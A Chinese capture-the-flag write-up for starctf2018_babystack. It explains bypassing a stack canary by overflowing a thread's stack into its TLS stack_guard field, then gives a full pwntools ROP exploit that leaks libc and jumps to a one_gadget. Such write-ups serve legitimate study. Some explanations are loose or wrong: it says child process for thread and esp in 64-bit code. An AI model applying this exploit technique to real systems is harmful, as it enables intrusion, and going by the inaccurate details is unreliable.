starctf2018_babystack
基于线程局部存储的Canary绕过技术分析
在CTF题目 starctf2018_babystack 中,首次接触到了一种新颖的Canary绕过思路:通过控制线程局部存储(TLS)中用于校验的寄存器值来实现对栈保护机制的突破。
核心原理
传统的Canary机制依赖于在函数调用前生成一个随机数,并将其存储在特定位置(64位下为fs:0x28,32位为fs:0x14)。程序在返回时会将该值与栈上保存的副本进行异或校验,若不一致则触发异常。常规绕过方式包括泄露、爆破或利用信息泄漏。
但本题的关键在于:Canary的校验过程使用的是线程控制块(tcbhead_t)中的stack_guard字段作为异或源。该字段由内核在初始化时设置,且每个线程独占一份。
tcbhead_t 结构解析
typedef struct {
void *tcb;
dtv_t *dtv;
void *self;
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; // 存储当前线程的Canary值
uintptr_t pointer_guard;
// ... 其他成员
} tcbhead_t;
通过 pthread_self() 可获取当前线程的 TCB 指针,其指向的结构体即为 tcbhead_t。利用此特性,可定位到 stack_guard 字段的内存地址。
利用前提
要成功操控Canary,必须满足两个条件:
- 程序创建了子进程;
- 子进程中存在大范围的栈溢出漏洞。
原因在于:主进程的 TLS 段映射地址不稳定;而子进程通过 mmap 将栈与 tcbhead_t 映射至同一内存区域,且位于高地址区,因此可以被精确控制。
漏洞点分析
程序通过 pthread_create 创建了一个线程,其入口函数 start_routine 存在一个可输入长达 0x10000 字节的缓冲区漏洞。这为构造大规模栈溢出提供了可能。
攻击流程设计
攻击分为两阶段:
第一阶段:泄露libc基址并控制Canary
- 构造恶意输入,覆盖栈上的返回地址;
- 使用
leave; ret指令后,栈指针(esp)将指向第一轮输入数据; - 在
read调用前,修改esp指向 bss 段,使后续输入能直接写入目标区域; - 通过
puts@plt泄露 libc 地址,计算 base 值; - 重置栈状态,准备第二阶段攻击。
第二阶段:执行onegadget
- 利用已知的
onegadget地址,构造最终的 payload; - 写入 bss 段,确保执行流跳转至该地址;
- 由于第一次输入中已控制
stack_guard的值,使得 Canay 验证通过。
关键技巧
注意到 bss 段存放的是一个指针,若直接写入 onegadget 地址,会导致程序试图将其作为指令执行失败。因此需先调整栈指针(esp),使其指向正确的数据位置,再跳转执行。
Exploit 示例
from pwn import *
context.log_level = 'debug'
p, e, libc = load('a', 'node4.buuoj.cn:27410', 'libc-2.27.so')
p.recvuntil('How many bytes do you want to send?\n')
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
pop_rsp_r13_r14_r15 = 0x400bfd
# 第一次输入:触发栈溢出 + 控制canary + 泄露puts地址
p.sendline(str(0x1850))
payload = b'a' * 0x1008
payload += p64(0xdeadbeef) # Canary
payload += p64(0xbbbbbbbb) # ebp
payload += p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x602100) + p64(0) + p64(e.plt['read'])
payload = payload.ljust(0x1060, b'c')
payload += p64(pop_rsp_r13_r14_r15) + p64(0x602100) + p64(0) * 3 # 调整 esp
# 补齐长度,重新填充 canary
payload = payload.ljust(0x1848, b'a')
payload += p64(0xdeadbeef)
p.send(payload)
# 接收 puts 地址并计算 libc base
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.symbols['puts']
log.info(f"libc base: {hex(libc_base)}")
# 执行 onegadget
one_gadget = libc_base + search_og(1)
payload = b'a' * 0x18 + p64(one_gadget)
p.send(payload)
p.interactive()
总结
本题展示了对 Canary 机制更深层的理解:不仅限于泄露或爆破,还可通过控制 TLS 中的 stack_guard 来绕过校验。该方法适用于存在子进程 + 大溢出场景,是现代 PWN 题目中值得掌握的重要技巧。